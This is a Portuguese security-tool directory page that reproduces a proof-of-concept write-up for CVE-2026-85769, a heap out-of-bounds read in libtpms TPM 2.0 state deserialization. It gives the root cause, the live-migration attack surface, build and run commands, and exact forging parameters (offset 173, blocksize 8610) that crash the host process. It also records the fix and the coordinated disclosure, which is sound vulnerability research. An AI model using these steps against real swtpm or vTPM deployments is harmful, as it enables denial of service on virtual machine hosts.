Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/isukasanuj/cve-2026-85769
Segurança de Sistemas EmbarcadosAnálise de VulnerabilidadesExploraçãoFuzzingSegurança de HardwareAnálise de Binários
GitHubisukasanuj/cve-2026-85769

CVE-2026-85769

Prova de conceito de exploit para CVE-2026-85769, uma leitura fora dos limites do heap na desserialização de estado TPM 2.0 do libtpms, demonstrando negação de serviço por meio de blob de estado maliciosamente criado.

Compartilhar
Ver Repositório
250há 2 mesesAinda não revisado

CVE-2026-85769

Leitura fora dos limites no heap na desserialização do estado volátil do TPM 2.0 do libtpms.

Um salto de bloco opcional sem limite em block_skip_read() avança o cursor de desserialização por um comprimento de 16 bits controlado pelo atacante e leva o contador assinado de tamanho restante a ficar negativo. Todas as verificações de limites subsequentes passam, porque convertem esse valor assinado para não assinado. Um blob de estado volátil forjado e com autochecksum, fornecido através de TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …), produz uma leitura fora dos limites no heap e aborta o processo que hospeda o libtpms — o swtpm, numa implantação de vTPM.

CVECVE-2026-85769
Componentesrc/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c
CWECWE-125 ← CWE-191 (Integer Underflow) + CWE-195 (Signed-to-Unsigned Conversion)
Afetadomaster f7f072b2, v0.10.2 03ff2481, e versões anteriores que contenham este código
Corrigido9e1475ff — "tpm2: Add checks for *size < 0 before casting it to UINT32" (PR #613)
CVSS 3.1AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat, Moderate)
Reportado2026-09-01, de forma privada ao mantenedor

Causa raiz

block_skip_read() salta um bloco versionado opcional avançando o cursor de análise, sem verificar o comprimento em relação aos bytes restantes:

} else if (has_block && !needs_block) {
    /* byte stream has the data but we don't need them */
    *buffer += blocksize;      /* blocksize is a UINT16 from the blob */
    *size   -= blocksize;      /* *size is INT32 — goes negative */
    *skip_code = TRUE;
}

*size é assinado. Uma vez negativo, a proteção à frente de cada leitura escalar deixa de funcionar:

if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2  ->  false        /* guard passes */

Quanto mais além da alocação a análise avança, mais negativo *size se torna — e maior ele parece sem sinal. O mesmo arquivo já possui a forma correta em Array_Unmarshal, que compara com sinal.

A única barreira de integridade é um SHA-1 sem chave anexado ao blob (src/tpm2/Volatile.c), então o PoC o recalcula após a adulteração.

Superfície de ataque

Alcançada através de TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) e da cadeia de restauração na inicialização TPMLIB_MainInit → _TPM_Init → VolatileLoad.

Em uma implantação swtpm, o caminho relevante é a migração ao vivo — CMD_GET_STATEBLOB / CMD_SET_STATEBLOB, acionada pelo libvirt. O host de destino analisa um blob de estado produzido no host de origem. Um --migration-key configurado não mitiga isso: a chave é compartilhada entre ambos os hosts, então uma origem comprometida a possui e produz um blob que é descriptografado corretamente. Ela protege contra um terceiro interposto, não contra um par hostil.

Compilação

git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967   # v0.10.2, or ba73ab17 for pre-fix master

./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
    CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
    LDFLAGS='-fsanitize=address'
make -j4

gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto

Executar

export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0

# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin

# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610

# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0

8610 é dimensionado para que o cursor caia na redzone do ASan em vez de em um ponteiro inválido:

blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610

O offset 173 é o byte has_block do trailer skip_future_versions de ORDERLY_DATA. Ele foi localizado instrumentando block_skip_read() para imprimir o offset durante um parse, não contando bytes — o offset muda com o formato do estado, então derive-o novamente se o comprimento do seu blob for diferente de 8778.

Observe que skip_self_heal_timer não é um trailer utilizável: ACCUMULATE_SELF_HEAL_TIMER YES em TpmBuildSwitches.h significa que ele é emitido com needs_block = TRUE e segue o caminho seguro.

Resultado

==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
    #0 in UINT16_Unmarshal           tpm2/Unmarshal.c:71
    #1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
    #2 in NV_HEADER_Unmarshal        tpm2/NVMarshal.c:453
    #3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
    #4 in VolatileState_Unmarshal    tpm2/NVMarshal.c:3431
    #5 in VolatileState_Load         tpm2/Volatile.c:81
    #6 in TPM2_SetState              src/tpm_tpm2_interface.c:820
    #7 in TPMLIB_SetState            src/tpm_library.c:222

0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)

A falha se manifesta em UINT16_Unmarshal, não em block_skip_read — o skip avança o cursor e retorna sem ler. A corrupção recai sobre a próxima estrutura lida.

Contra o commit corrigido, todos os casos de ataque retornam TPM_RC_INSUFFICIENT (0x9a) sem relatório do ASan, e blobs válidos ainda são restaurados com rc=0.

Impacto

Negação de serviço do processo que hospeda o libtpms, além de comportamento indefinido.

A divulgação de informações foi testada e descartada. Pequenos excessos em uma build sem ASan retornam TPM_RC_BAD_TAG (0x1e) todas as vezes:

libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000

A leitura imediatamente após o overshoot é um NV_HEADER, cujo magic de 32 bits deve corresponder a uma constante fixa. O heap adjacente satisfaz isso com p ≈ 2⁻³². O parse é abortado, ClearAllCachedState() descarta tudo, e nenhum byte fora dos limites chega a TPMLIB_GetState. A confidencialidade é, portanto, C:N. A revisão da Red Hat chegou à mesma conclusão de forma independente.

Linha do tempo

Data
2026-09-01Reportado de forma privada ao mantenedor do libtpms
2026-09-04Mesma causa raiz reportada publicamente e de forma independente por Leyao (ICT CAS) como issue #614 do libtpms
2026-09-04Corrigido upstream em 9e1475ff (PR #613); correção verificada contra este PoC
2026-09-04Reportado à Red Hat Product Security
2026-09-04CVE-2026-85769 atribuído

Créditos

Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)

Notas

Este PoC é publicado após a correção upstream da issue e a atribuição do CVE. Ele tem como alvo uma build local de uma biblioteca de código aberto e não faz nada além de acionar o parse. Teste apenas o que você está autorizado a testar.

Licença

MIT

Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Sem dados de popularidade ainda.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →